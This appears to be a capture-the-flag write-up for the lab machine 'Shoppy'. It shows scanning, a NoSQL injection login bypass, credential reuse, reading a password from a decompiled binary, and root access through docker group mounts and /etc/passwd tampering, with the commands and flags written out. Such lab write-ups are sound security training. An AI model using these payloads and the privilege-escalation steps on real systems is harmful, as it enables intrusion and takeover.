Shoppy
8 minutes to read
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.180
- Release: 17 / 09 / 2022
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.180 -p 22,80,9093
Nmap scan report for 10.10.11.180
Host is up (0.058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
| 256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_ 256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp open http nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Shoppy Wait Page
9093/tcp open copycat?
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/plain; version=0.0.4; charset=utf-8
| Date:
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 5
| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0
| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 5
| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 2.3393e-05
| go_gc_duration_seconds{quantile="0.25"} 6.0765e-05
| go_gc_dur
| HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/plain; version=0.0.4; charset=utf-8
| Date:
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 5
| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0
| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 5
| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 2.3393e-05
| go_gc_duration_seconds{quantile="0.25"} 6.0765e-05
|_ go_gc_dur
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 103.76 seconds
This machine has ports 22 (SSH), 80 (HTTP) and 9093 open.
Enumeration
If we go to http://10.10.11.180
, we are redirected to http://shoppy.htb
. After setting the domain in /etc/hosts
, we see this webpage:
First of all, we can enumerate more routes using ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://shoppy.htb/FUZZ
images [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 101ms]
login [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 127ms]
admin [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 75ms]
assets [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 53ms]
css [Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 51ms]
Login [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 62ms]
js [Status: 301, Size: 171, Words: 7, Lines: 11, Duration: 46ms]
fonts [Status: 301, Size: 177, Words: 7, Lines: 11, Duration: 43ms]
Admin [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 76ms]
exports [Status: 301, Size: 181, Words: 7, Lines: 11, Duration: 121ms]
[Status: 200, Size: 2178, Words: 853, Lines: 57, Duration: 51ms]
LogIn [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 77ms]
LOGIN [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 66ms]
So we have a login form:
It accepts both URL encoded and JSON data:
$ curl shoppy.htb/login -id 'username=asdf&password=asdf'
HTTP/1.1 302 Found
Server: nginx/1.23.1
Date:
Content-Type: text/plain; charset=utf-8
Content-Length: 51
Connection: keep-alive
Location: /login?error=WrongCredentials
Vary: Accept
Found. Redirecting to /login?error=WrongCredentials
$ curl shoppy.htb/login -id '{"username":"asdf","password":"asdf"}' -H 'Content-Type: application/json'
HTTP/1.1 302 Found
Server: nginx/1.23.1
Date:
Content-Type: text/plain; charset=utf-8
Content-Length: 51
Connection: keep-alive
Location: /login?error=WrongCredentials
Vary: Accept
Found. Redirecting to /login?error=WrongCredentials
Foothold
If we enter a single quote testing for common injections, we get a 504 Gateway Time-out
error:
$ curl shoppy.htb/login -id "username='&password=asdf"
HTTP/1.1 504 Gateway Time-out
Server: nginx/1.23.1
Date:
Content-Type: text/html
Content-Length: 167
Connection: keep-alive
<html>
<head><title>504 Gateway Time-out</title></head>
<body>
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.23.1</center>
</body>
</html>
Hence, we must guess that the server has crashed.
We can also leak a system user (jaeger
) in an error message:
$ curl shoppy.htb/login -id '{' -H 'Content-Type: application/json'
HTTP/1.1 400 Bad Request
Server: nginx/1.23.1
Date:
Content-Type: text/html; charset=utf-8
Content-Length: 1003
Connection: keep-alive
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected end of JSON input<br> at JSON.parse (<anonymous>)<br> at parse (/home/jaeger/ShoppyApp/node_modules/body-parser/lib/types/json.js:89:19)<br> at /home/jaeger/ShoppyApp/node_modules/body-parser/lib/read.js:128:18<br> at AsyncResource.runInAsyncScope (node:async_hooks:203:9)<br> at invokeCallback (/home/jaeger/ShoppyApp/node_modules/raw-body/index.js:231:16)<br> at done (/home/jaeger/ShoppyApp/node_modules/raw-body/index.js:220:7)<br> at IncomingMessage.onEnd (/home/jaeger/ShoppyApp/node_modules/raw-body/index.js:280:7)<br> at IncomingMessage.emit (node:events:513:28)<br> at endReadableNT (node:internal/streams/readable:1359:12)<br> at process.processTicksAndRejections (node:internal/process/task_queues:82:21)</pre>
</body>
</html>
Finding a NoSQL injection
After testing common SQL injection payloads, one must test for NoSQL injection. The usual NoSQL database manager is MongoDB, so we can go to PayloadsAllTheThings and try a bunch of them.
Eventually, we will see that admin'||1=='1
works. Again, we have guessed that there exists a user named admin
(well actually, ffuf
showed a route /admin
):
$ curl shoppy.htb/login -id "username=admin'||1=='1&password=asdf"
HTTP/1.1 302 Found
Server: nginx/1.23.1
Date:
Content-Type: text/plain; charset=utf-8
Content-Length: 28
Connection: keep-alive
Location: /admin
Vary: Accept
Set-Cookie: connect.sid=s%3A506EoVzvdIvr16rT-Knq0yOJjdoluPEw.ES4yGNxzYTgWMujnhgXXsyVPvhgV%2B%2F71NKeFEhm%2FaHg; Path=/; HttpOnly
Found. Redirecting to /admin
This is what we see in the browser:
We also have the ability to search users:
We can search for admin
:
And we get an interesting hashed password…
We could use ffuf
to enumerate more users, but it is better to use the same NoSQL injection payload as before:
There we have one more password hash. If we enter them in crackstation.net, we will crack the one for user josh
:
We can try this password in SSH for josh
or jaeger
, but it doesn’t work. So, we have reached a dead end.
Finding another subdomain
Since the machine uses shoppy.htb
, we might think that there’s a subdomain. Let’s enumerate (the wordlist can be found in SecLists):
$ ffuf -w $WORDLISTS/bitquark-subdomains-top100000.txt -u http://10.10.11.180 -H 'Host: FUZZ.shoppy.htb' -fs 169
mattermost [Status: 200, Size: 3122, Words: 141, Lines: 1, Duration: 36ms]
So we have a MatterMost application:
Here we can access using josh:remembermethisway
:
Luckily, in one of the channels we find a plaintext password to access as jaeger
(Sh0ppyBest@pp!
):
Using the previous credentials we can get access to the machine and read the user.txt
flag:
$ ssh jaeger@10.10.11.180
jaeger@10.10.11.180's password:
jaeger@shoppy:~$ cat user.txt
38bebf32e7088d5bb384401051c42902
System enumeration
This user is able to run an ELF binary called password-manager
as user deploy
using sudo
:
jaeger@shoppy:~$ sudo -l
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
jaeger@shoppy:~$ file /home/deploy/password-manager
/home/deploy/password-manager: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=400b2ed9d2b4121f9991060f343348080d2905d1, for GNU/Linux 3.2.0, not stripped
Lateral movement to user deploy
If we transfer the binary to our machine and use Ghidra to decompile it, we see that it is built in C++. This is the main
function:
bool main() {
int iVar1;
basic_ostream *pbVar2;
basic_string<char, std::char_traits<char>, std::allocator<char>> local_68[32];
basic_string local_48[47];
allocator<char> local_19[9];
pbVar2 = std::operator<<((basic_ostream *) std::cout, "Welcome to Josh password manager!");
std::basic_ostream<char, std::char_traits<char>>::operator<<((basic_ostream<char, std::char_traits<char>> *) pbVar2, std::endl<char, std::char_traits<char>>);
std::operator<<((basic_ostream *) std::cout,"Please enter your master password: ");
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string();
/* try { // try from 00101263 to 00101267 has its CatchHandler @ 001013cb */
std::operator>>((basic_istream *) std::cin,local_48);
std::allocator<char>::allocator();
/* try { // try from 00101286 to 0010128a has its CatchHandler @ 001013a9 */
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string((char *) local_68, (allocator *) &DAT_0010205c);
std::allocator<char>::~allocator(local_19);
/* try { // try from 001012a5 to 00101387 has its CatchHandler @ 001013ba */
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator += (local_68, "S");
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator += (local_68, "a");
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator += (local_68, "m");
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator += (local_68, "p");
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator += (local_68, "l");
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator += (local_68, "e");
iVar1 = std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::compare(local_48);
if (iVar1 != 0) {
pbVar2 = std::operator<<((basic_ostream *) std::cout, "Access denied! This incident will be reported !");
std::basic_ostream<char, std::char_traits<char>>::operator<<((basic_ostream<char, std::char_traits<char>> *) pbVar2, std::endl<char, std::char_traits<char>>);
} else {
pbVar2 = std::operator<<((basic_ostream *) std::cout, "Access granted! Here is creds !");
std::basic_ostream<char, std::char_traits<char>>::operator<<((basic_ostream<char,std::char_traits<char>> *) pbVar2, std::endl<char, std::char_traits<char>>);
system("cat /home/deploy/creds.txt");
}
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string(local_68);
std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string((basic_string<char, std::char_traits<char>, std::allocator<char>> *) local_48);
return iVar1 != 0;
}
We see that it asks for a master password, and it is compared against "Sample"
(the string is built character by character). Then the program will show the password for user deploy
(stored at /home/deploy/creds.txt
):
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
[sudo] password for jaeger:
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
So now we can switch to deploy
:
jaeger@shoppy:~$ su deploy
Password:
$ bash
deploy@shoppy:/home/jaeger$
Privilege escalation
This user is not able to run sudo
, but we belong to group docker
:
deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
With this, we can execute docker
. Let’s enumerate available images:
deploy@shoppy:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest d7d3d98c851f 3 months ago 5.53MB
Using docker
we can create a Docker container that mounts the whole filesystem into the container’s /mnt
directory and read/write files owned by root
in the host machine. We will use -v /:/mnt
to do the volume mount:
deploy@shoppy:~$ docker run -v /:/mnt -it alpine sh
/ # hostname
1c035e131541
/ # ls /mnt
bin etc initrd.img.old lib64 media proc sbin tmp vmlinuz
boot home lib libx32 mnt root srv usr vmlinuz.old
dev initrd.img lib32 lost+found opt run sys var
/ # cat /mnt/root/root.txt
0cde64ed9c2278de8a4035756db7180a
In order to get a proper shell as root
, we can add a password for root
in /etc/passwd
:
$ openssl passwd 7rocky
8juPOSsOaeytM
We will use sed
to modify the host’s /etc/passwd
, and then we get a shell as root
in the host machine:
/ # sed -i s/root:x/root:8juPOSsOaeytM/g /mnt/etc/passwd
/ # exit
deploy@shoppy:~$ su root
Password:
root@shoppy:/home/deploy# cd
root@shoppy:~# cat root.txt
0cde64ed9c2278de8a4035756db7180a